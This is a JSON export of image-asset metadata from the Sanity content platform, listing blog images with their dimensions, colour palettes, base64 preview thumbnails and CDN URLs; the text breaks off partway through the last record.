{"_createdAt":"2022-06-30T19:55:39Z","_id":"image-591263e1cb3066712b992ea30c8906a29f698868-400x248-png","_rev":"QRl2cGoCgj0FlAhkRrhNiN","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:13:38Z","assetId":"591263e1cb3066712b992ea30c8906a29f698868","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V6Ogc@0000008{00?v_2-oofJ-x]wdw_kX?^R*a0RPbw","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6129032258064515,"height":248,"width":400},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAAC1UlEQVQokZWS3UsUURiH528IqcCiqCCiIqgw6qIgqLsuoiAKoiAiCLoIBDO1LFPJi4J0Z7+iKJB1KfqgVbcPK8tMc/3YNFdL0d3ZbXdmv2Zmd+fMzDrziznbSrddPPC7OO9z3vc9hznt9pKzD54Yp1xdOOnqMtt6+zG+GMWbqVm0+N7D3T+EX3EBqWQSQ5+/wPf0OcaGR5BNZxCLcPjw+i38L334OR2Coihgzri95Mx9r3HC3olTTo95x/8JYwscfBPTuP7iDTr6BhH6zYPnBQy8/4jnHi+GBwaRSqYQWQzjXbcf3c9eIDQ5BaVQAHO8/TE51v7YOHL3IY7ee2S2vurDxAKHwHwYXYOj6B2bRDSeQEYQMB38jqFPA/gZmoEkihASPIKBMQS+DoNbDJeEh9vc5FCb29jfYsfB2y7zqrcbgdk5cLE4fs3NIzw5hVQwiMzUDwhz84hzUaQEAVJWpGPz8TgSsd9Ip1L0EuZAq4vsb3UZVU0s9jU7zGqPD99m5iDwPJJcFOnpENKBADITE8iGwxDTaYjZbIlMFtlMKVsXWDB7W1xkb4vL2NVkx55mp1nt7aUjy5JMC6RkClIiAYkXIGcytAtJkpCTZciyDFEUaS4UCiDWo+xucpCqW05jRyOLnTcd5uWuHgTDMRQUBblCgSLJOYiSRAVl8vk8RZZKMk3ToOs6mK3XbGTbddbY3NCB7Y1285KnB6MRDnlNgaKqIERFLpejnfwrsr4IUQjNhBAUi0UKs6GBJRsbWGN9PYstN5zmRU8vRiIcZF0B0TWomkaLSsIc7aYsscjTrGJpaQnFpSKYNXUsWVtvNyrrWGxqdJkXPH4EIlHkdQJV16HpOpXQveVKQrqvv0Irq2Wh1eGqWhtZfZU1VtbasO6a0zzf6cc4F4dW1JfHsPZjFauqSnN5XxblbAktmIqaDqXiis1YUWNDZb3DPNfpR5Djlw/8L38Art4xwiRDKj8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c5c6c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b748a","foreground":"#fff","population":0.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5d98a5","foreground":"#fff","population":4.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9ab3ba","foreground":"#000","population":2.94,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6948c","foreground":"#000","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5d98a5","foreground":"#fff","population":4.38,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#36ce85","foreground":"#000","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"591263e1cb3066712b992ea30c8906a29f698868-400x248.png","path":"images/sczeoy4w/production/591263e1cb3066712b992ea30c8906a29f698868-400x248.png","sha1hash":"591263e1cb3066712b992ea30c8906a29f698868","size":14749,"uploadId":"QW3xF06VY2bXcRVzNz1G4K1q8xZGGIP5","url":"https://cdn.sanity.io/images/sczeoy4w/production/591263e1cb3066712b992ea30c8906a29f698868-400x248.png"} {"_createdAt":"2022-06-30T11:51:35Z","_id":"image-65c2ce0c4a7a4b7d8cd1a2e8fee8f572743a5fae-400x256-png","_rev":"cEPH2uRN58AU2lp9QO7VdZ","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:14:02Z","assetId":"65c2ce0c4a7a4b7d8cd1a2e8fee8f572743a5fae","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VUL;pnI:00NG0K~qoLIUofM{00WB-;kCxu%MofNGWBWV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5625,"height":256,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAACnklEQVQokU2OXUhTYRiAd5skkmAXFVJIRIVddFEEymbzD93ZtBSvsjT6Wz9Epdj27QxSpxK0TaG70Y30JwlJ6DxnWXg2UzfvBC9CUhF/tvOd353znZ8Fcc4se3i/9/2+l/fh/SznnK3nm9vqOu/i4dfjk9PfZ6lEPJ6I/4OiKCpOUXOJxI+5uW8zM5FIxAdAd1fX854eSznWUo61NNx++ObT55+/1ra299j6y87OTjqdpmka0vT6+vrExERfX5/H4wEAWE43XDlV31R/68FYlKQZVhAEnucFQeA4jjURRREhpKqqrussy5IEEQgEvF4vjuOWk3VNZbXO6pvuj1EyTUMIIcMwgiCwLJtJG0AIOY4TRVFBiGEYgiDymw25rNZ1ogazd7o/TBH7sijyHE/TdCaTgQzDcZwgiLIsQwhJktyXj9e4SqudVZ3u91NEhmE5nmd5PitJEkKSLGclWUIIKQpSNUXTGIaJkWRgYAAAgON+S2m165jdaetwv5si0pDlBJETxSxSkKYpmp4PpKqyJCNJgjQdi8UGBwdNGbcctWNHLmPWG/feThKQ45GqKpqm6Tkt91vP5fRcTtNziihKGxvy2hrc3Pxqyj6fz+/3Ww5XYSU2x6VrdyLjXzZ3d7NZ48uSLEuSbFwkScpmhUyGXVnhlpe3V1eno9EBUzY2F9uwYht25mr7o6HhsSiZmF9IJpOppaVUKrVosGCc+flFikrG44nZ2dHR0d7e3j25yIoVWbESe/PZlo62xz0vhl6GQ6FwOBwKhV7lCQaDZmd4ZCQYCgX6+30mhlxY6SisdBysdByyuS62Xnc/eeb1eDxeI5nVC4AXAJAXAADA6BhPQy6oaCyoaDxQ0VhkdV5obb//tNsc2cOHG0P/k9fy/AFKJgJiyLVoywAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d4b52","foreground":"#fff","population":1.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#16404b","foreground":"#fff","population":16.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":25.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbc9ca","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f09b99","foreground":"#000","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":25.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d85e62","foreground":"#fff","population":0.38,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"65c2ce0c4a7a4b7d8cd1a2e8fee8f572743a5fae-400x256.png","path":"images/sczeoy4w/production/65c2ce0c4a7a4b7d8cd1a2e8fee8f572743a5fae-400x256.png","sha1hash":"65c2ce0c4a7a4b7d8cd1a2e8fee8f572743a5fae","size":13615,"uploadId":"eW5oaxgZrk9Bc91hvBjVyFWSFD77oiDw","url":"https://cdn.sanity.io/images/sczeoy4w/production/65c2ce0c4a7a4b7d8cd1a2e8fee8f572743a5fae-400x256.png"} {"_createdAt":"2022-06-30T19:55:52Z","_id":"image-031333aa209f7c6dd6daaccc9e488564326395bb-400x247-png","_rev":"cEPH2uRN58AU2lp9QO7VrV","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:14:05Z","assetId":"031333aa209f7c6dd6daaccc9e488564326395bb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VbLN=DIo00Rj9F~qj[IUofM{4nWB%MofxaWBj[fkaej[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6194331983805668,"height":247,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACCUlEQVQokZWOTUzTYByHexYjiokciJ40+IEejZoxhhNltm6wjOBBhfgVQhA9qBD30SWLBxObTPb24tED0cSYTIlTEq8LYtdx4cZFMGzduo+u70f7liymdEQTL/jkub15fu+fORMYOe0PsRPT7zKL5WoN/gUhxLShJqWWZTWbTYxxLpdLJpPhZ+FIOMycZIPdvuHLdyfnFzIFxaZQKBSLRUVR6vW6s4LsIUwpRQjlpNzcq7lIJBKNRpnjvuFjg4GBO5PzC1+UcllVK6VSSVXViqpqmgb1FlDXCcYQQlmWU6lULBbjYzzTw4ZOXA0O3pt6+/lruVrVGo2GriOMEcYYE0II3hZhTAwDIiTn8wAAnufj8TjT7QsevTLkvW3/XKpUNR02IMKGSUzaklJsUnsHYdjQZVkWRTG+DXNkIHDY6+8dm3jzKaPW6sTOTINa1NpyNK0twzBxWUU/1/XNTVmS/sRdXn/XxWsXbtx//T79SynBnYOda20xRrqur29oq6u1tbUfS0sAgFbc2c8d8nCngjcfvkh+WPz2XZLyNiv5lR0dlpfz2ayUzX5MpwVBaMUdHu5AH9d5aagnNH790ezzl4II/kEUgWgDABAEIZFItOJ2N9fu5va5uYP9gfOjYw+ezDgPu4HZ28s5dngC50bHp5/O/kfc5mLbXOweF7u/z3925NbU4xl+1/wGYCfSRi6qccwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f4a52","foreground":"#fff","population":1.93,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#163f4c","foreground":"#fff","population":15.28,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#163f4c","foreground":"#fff","population":15.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4ccc4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e59395","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b3686a","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e07d7f","foreground":"#000","population":0.47,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"031333aa209f7c6dd6daaccc9e488564326395bb-400x247.png","path":"images/sczeoy4w/production/031333aa209f7c6dd6daaccc9e488564326395bb-400x247.png","sha1hash":"031333aa209f7c6dd6daaccc9e488564326395bb","size":23494,"uploadId":"Uxm2vInTWZyXOWngfjj6Q2G0zv9HVANK","url":"https://cdn.sanity.io/images/sczeoy4w/production/031333aa209f7c6dd6daaccc9e488564326395bb-400x247.png"} {"_createdAt":"2024-09-17T09:26:47Z","_id":"image-cb767af99f10698d510f3ca04eccebf0ef4b6898-1200x628-jpg","_rev":"2eqiUp79DxBCItwrHwNvI7","_type":"sanity.imageAsset","_updatedAt":"2024-09-17T09:26:47Z","assetId":"cb767af99f10698d510f3ca04eccebf0ef4b6898","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA7_BY$[ITWAM{_4fiM_kCR*IAM{t7t8ob","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQCBgf/xAAiEAABAwMEAwEAAAAAAAAAAAADAAECBRETBCEiMhQxYoH/xAAWAQEBAQAAAAAAAAAAAAAAAAAEAgb/xAAaEQABBQEAAAAAAAAAAAAAAAAAAQIDESFB/9oADAMBAAIRAxEAPwDIaUejx04vIi2Ro8uHt0yepUqHAOjiRr7StZVpnfAPdTF3/VqIm5YR2DpiDKR5Y4w+WQlZ9nQlWicIP//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242750","foreground":"#fff","population":0.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#132470","foreground":"#fff","population":11.21,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#132470","foreground":"#fff","population":11.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4d8ea","foreground":"#000","population":8.21,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a7fc5","foreground":"#fff","population":0.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686e94","foreground":"#fff","population":1.99,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2786","foreground":"#fff","population":8.1,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"AI Advantage Blog Image .jpg","path":"images/sczeoy4w/production/cb767af99f10698d510f3ca04eccebf0ef4b6898-1200x628.jpg","sha1hash":"cb767af99f10698d510f3ca04eccebf0ef4b6898","size":66770,"uploadId":"pSAEzakwoFK8abndU5jZ44slyDvVOSSZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/cb767af99f10698d510f3ca04eccebf0ef4b6898-1200x628.jpg"} {"_createdAt":"2022-06-30T11:56:59Z","_id":"image-7a2a86c447f975caa3595a0d2b0a57415e3e6318-640x279-png","_rev":"sI1gFaRN7B5HWmjllAANfV","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:05:40Z","assetId":"7a2a86c447f975caa3595a0d2b0a57415e3e6318","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MdI~71HX~E~ps,sqWAWmsEjbInt8V@R*fk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.293906810035842,"height":279,"width":640},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqElEQVQokVWSXUhTcRiH38bmhiKVplAWpYR1oVCQXqRgYZFIUFKIdOFFGN207EZvLBJES5ZYTQ0SZNqaQ8XtnLP9Ox1tzjn35Tbn3MfZ2dyHmplD2PxYV25xXBFdPLx3P57f+77AIPTAhWFtjsnJLqdCITTL5ZfuVldnAcAJDodzHgCK6xsflX3CNI+VWlsPrlvsI83e97PLq2IDvcny3kBv9s17f4hml9eEEKSo57RaPebGcdJLEANGmexmTWXlcQDI5XG5BQBQ0NbVU6HSWz5oFpd82iXnqt7DRCwrWxFbOBaxheMsa9ZQzG3yR+UQmZ4WBUhSwyBkZxCS66XSO9fLy/MA4JhAwM8FgJzugcGrX4yGsdkl8y+d05Qy0q6ULfQzZY/spBZXdw+xR3bilsC2hg3sDpDkNIOQ1YfQqGZoqK68tPQkayjgZ+QDQH5Le0fV+Ff1BGmk9ikzldI5LQcLKxtJe2SH5SAdGI9ZAtvfIDw19YpBiK1r8hDEZ7y///7FwsJCADjN4/HOAsC5JmHzLSk2rlDpiARpIFJahyG5EFg/NLRHdpN/DNOBIYrqpFUq5MKweReGjSjF4nsX0oFneDwuO4uanjytkeLjCmKOSCADnppxzCctgfW/hsn/DEMU9ZpWqyk3jlvcOC6jBgfrrpSUnGKvnMHnsZXznnW+rBJrhibeLQwkem1vUxL3WFIb9Kd3+M8wvcMQRbX6EBrxEITSSxC9MxLJjWtlZTkAkJWRzc3MhGyBCA1ffuHqlTQxzdEG/8P9lmDnnjJs27OGY3u2cHzXFo4nrKHYhskfRezbVDEI1XsIopFWqW6b5fKihtpaPgBw8iqOHlHBMow69cU9jOxN64rIIQy2+zqCH2ks4KCNzBZtYqJeExNljMyWdc79ffg3nkW7C3sNXtcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c2f34","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#08a209","foreground":"#fff","population":0.21,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#08f40a","foreground":"#fff","population":1.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4a4ac","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#78f290","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c6c6c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#08f40a","foreground":"#fff","population":1.57,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"7a2a86c447f975caa3595a0d2b0a57415e3e6318-640x279.png","path":"images/sczeoy4w/production/7a2a86c447f975caa3595a0d2b0a57415e3e6318-640x279.png","sha1hash":"7a2a86c447f975caa3595a0d2b0a57415e3e6318","size":20596,"uploadId":"89DtQbeM2RroqdKAKGKcfmc0PBrBeh5o","url":"https://cdn.sanity.io/images/sczeoy4w/production/7a2a86c447f975caa3595a0d2b0a57415e3e6318-640x279.png"} {"_createdAt":"2022-06-30T11:56:59Z","_id":"image-c6b7d1551a12177be7ecadf4b0acce91fdd7c9ac-1200x675-png","_rev":"CK1sLU2mnwa3vmbYWEbOdy","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:42Z","assetId":"c6b7d1551a12177be7ecadf4b0acce91fdd7c9ac","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MhQ]..t7x[afof~Wayaeofof9ZWBRQbHbH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":675,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACUklEQVQokWWQa08TURCG+69UFDVq4s8xfjARwweNl4iAl/gDDDcRYwoqQSFStCmQgJQGChTScmlLC7Td7rXb7Z49j9lDIICTvGfmzMz7njMTkVLiNhrUNY1apaqg1WroWp16TVPeNEwsw8So6wphTtc09Ppxj2kYtFotQq1IeLQ8D8d2sC1LkQ1dV02Waaqc4zg0HAfHtrFtG8s87gtrtmWpmvD9U0FlQRAo+L4vXdeVzWZTxcIXUoReCBkIIX1fSN3y5EHNlY7rn/JOLMIZC18QQuB5nhohCCQN28U8rOBZFsgAEUjyBw7J9BHVihmSzvHVyCcIgkCN77qu8s2WYDdbJj09h769DYFABJDNVfkz8Zf9tS1kyyOUPNH4T9D3fZpND9OwKeWPWIwt8/tDlOLiEl5do1HT2FhYJ9Y/Tn5+AdlsXBA8czkR9Vo+B2WN1OwqiWiM+OA3NmKzFFOr7CdTrEzGSQxPUEqmkE33dNxzP7y4S9Nw2NvMs53KsL28Rj69SWF9i+L6FnurGXZWMuilMiLc9RmNyNr+EZlyhexRjd2qTkEzKNZNCjWdbKlCJl9iY7fAWm6PVHaX5dweyVyBpVye5E6RVL5Mev+QrYMqO5U6kYfRaTqiMTrHZnjyPc6LiQRdP+fomZqne3Kelz9meTYe5/HXGTrHYnSMTvPgyy/uf57i3sik8o9GYzwdj/N8IkHkeu8gV7sHuPKqn7buAa71DNLeO8TN1x+5/XaYW2+GVXyjd0ihvWeQtlf9XO7q41JXn+KFPXffj3Dn3Sf+AW13FuddTIsWAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#468b9a","foreground":"#fff","population":1.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b748f","foreground":"#fff","population":0.69,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d23c1a","foreground":"#fff","population":2.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#86b3c6","foreground":"#000","population":0.92,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6e9d8","foreground":"#000","population":0.3,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5b97aa","foreground":"#fff","population":0.67,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d23c1a","foreground":"#fff","population":2.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"c6b7d1551a12177be7ecadf4b0acce91fdd7c9ac-1200x675.png","path":"images/sczeoy4w/production/c6b7d1551a12177be7ecadf4b0acce91fdd7c9ac-1200x675.png","sha1hash":"c6b7d1551a12177be7ecadf4b0acce91fdd7c9ac","size":39224,"uploadId":"1nTafaZBbgwJFwVY422zIKRFsqrlO2BK","url":"https://cdn.sanity.io/images/sczeoy4w/production/c6b7d1551a12177be7ecadf4b0acce91fdd7c9ac-1200x675.png"} {"_createdAt":"2022-06-30T19:55:47Z","_id":"image-47067501a42caff8d31c2bf01f99bf5b21227c62-400x246-png","_rev":"cEPH2uRN58AU2lp9QO7VRx","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:13:57Z","assetId":"47067501a42caff8d31c2bf01f99bf5b21227c62","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V5PZ=W0000000100?u~po}Rk4o%M-;WYNH?vR*ozR*Rj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6260162601626016,"height":246,"width":400},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACEElEQVQokaWRXWsTQRSG9zeoqKCFooigoiAWiigVVIrghYpX/QeCIAjSWBNDU02/FES7u8mmIAXFSmsQxAvTGm+8VChSW6NCW9Mmad3vmex28zGvzK62VShYPfBwXs6ceefMjNCmPEGbMowL4iNclB+j92UWk7N56LoBTdN9ZhaW8GZiFs/e5pCdmMFcUQUhBOVyeRUaZOH8gyGcuz+E1ruDOHvvIeIvXmM6XwChFDahfi5pFt5/XUT2wzzefSmhqJqglK6YEUJ8XNeFcObOIFr7U2iJyzjdryD2PIOpbwuwbRumafrZsglUk2DRoFBNCsO0YBhGgK5D13VYlhUYnupL4WSvgqO3RJzoSSKafoXJuXnfTFM1qKrqb+DGrutgedkFIfaqoWH4vXxSz/MgtPQoON6dRFNMwrHuJMLpDKbyRZQp9U/lzRyuHYcbev4kv67rOE5Q9zxUKhUIzXEFzbcVHI7J4LojPYZcYQnVatVv4KdyuOa1Wq3mw/Vaaj/rwpGuBJq6EjgYFcF1aDSDzyUVjLF/QtgflXAgKmFveACHOhO4NhIY8vizeW2stybsishsd0RmjWEJ+2IKuzo6jtw6hn814c6wjIawjB03JLanM4UrI+P4VNJ+M9xICNuuS2x7h8S2hkQ03lTY5adjmC7+xxtubhfZlpDINrUPoCGSZJeGM/hY+I56vb7ycxvhB1luTAhXV5j+AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#488c9a","foreground":"#fff","population":3.78,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a7a93","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#488c9a","foreground":"#fff","population":3.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1c1c1","foreground":"#000","population":1.63,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a6e5f3","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5995a5","foreground":"#fff","population":1.46,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#357dba","foreground":"#fff","population":0.3,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"47067501a42caff8d31c2bf01f99bf5b21227c62-400x246.png","path":"images/sczeoy4w/production/47067501a42caff8d31c2bf01f99bf5b21227c62-400x246.png","sha1hash":"47067501a42caff8d31c2bf01f99bf5b21227c62","size":29243,"uploadId":"ur2OZEDLdRihcSeaZllq6BYAufTeZ2rc","url":"https://cdn.sanity.io/images/sczeoy4w/production/47067501a42caff8d31c2bf01f99bf5b21227c62-400x246.png"} {"_createdAt":"2022-06-30T19:55:46Z","_id":"image-45b2925c19c727116e33a4ed12c07b14483d1c85-400x247-png","_rev":"CK1sLU2mnwa3vmbYWEaUkO","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:13:55Z","assetId":"45b2925c19c727116e33a4ed12c07b14483d1c85","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V2O;9{00000000Ef_M~o-:E201%g_2%LD*?cIo?bx]Io","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6194331983805668,"height":247,"width":400},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACNklEQVQokY2SzWsTQRyG929QUUELRRFBpSBaEPEL8evgQdGT/gGCIAgijRoTm0garYKo2U02BVH8aItKQYQkUE+CIGJLCeYgpGnWtDX7ObOzSU77ykyzISkiHl7eOcw8+3tmR7qgjuOiOo5z8kucV14h+fETipUqluoGvpY0TH35idy3MkqVJfyuGzBME7bjwKUuPMbAXBeUEBDHgW1ZkM4+eYEzj5/j5MMxnH70DIkP0yhpi7AciuKCjum5X/hcWsTCsg2HuqAc0G5XrCkcDrNtmKYJ6dSDMZwYzeJQQsHx0SxiUwX8qNZAKIVuEdR0B8smgUOZAPAQQlYgbZBlWTAME/V6HdKx+1kcvadi/10ZR5IZRN/nUaxona8SwvWoUGMu6wF2x26DpcPJLA6OqBiMyTgwkkH4XR5z8xos04SuGzBNSxxgjKHRaMDzvI5qMLHbFWlfQgXP7pgiOvQ2j9lyFYZuCAV+L3wiDmo2mx0oY55ob1WkvfE0BuNpDNxJYU88jeuTOQHkIF3XhQYhVGzmMB4ODuDNdgeRdkZl7IrK2B5+ioHhNK5N5DA7r7XvxBa6XC+YoBvYnUYA3BJR/K0Rxe8Py9gRU/2rkwXMdICW6NXAVqsl8jeotDmsoC+sYNMt2d82nMWViQK+lzUB49orykT8lAD6zwk33JD9jTdlf30ohf6I6l9+kxdArmrZ/68cRFo7lPLXhVL+mqEU+m5n/Euv85ip1HqeRvBkgkPdyr3rJv4AgFc/P709WP4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#466c8c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b7086","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#66a0ae","foreground":"#fff","population":0.82,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#89b7ca","foreground":"#000","population":0.3,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a1deee","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#66a0ae","foreground":"#fff","population":0.82,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#307ab8","foreground":"#fff","population":0.24,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"45b2925c19c727116e33a4ed12c07b14483d1c85-400x247.png","path":"images/sczeoy4w/production/45b2925c19c727116e33a4ed12c07b14483d1c85-400x247.png","sha1hash":"45b2925c19c727116e33a4ed12c07b14483d1c85","size":20028,"uploadId":"2mtm9Rb1oyddfoKC9OlYRjGCxOwx0TjI","url":"https://cdn.sanity.io/images/sczeoy4w/production/45b2925c19c727116e33a4ed12c07b14483d1c85-400x247.png"} {"_createdAt":"2022-06-30T11:51:35Z","_id":"image-87a47a70c848b12a2cb75755221e78f69746e17e-966x596-png","_rev":"CK1sLU2mnwa3vmbYWEaqBC","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:24Z","assetId":"87a47a70c848b12a2cb75755221e78f69746e17e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VOQcn{=r%%L3t+_3IqRh$NaMpdT0nNrCnOD%%1xcI:ov","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6208053691275168,"height":596,"width":966},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACM0lEQVQokU2SzWtTQRTF86fYRdcFNy5cCLp250YQCq5cuNCFFSwqItKC1AraWBHEVhEtlXahUGsJGpNq26QiMbRpmjRJ8z7mvZk7H3fevJd2o5NEKxyY4TK/e2bO3BTGhxgfCp0ETLqEtX2675J9l7S9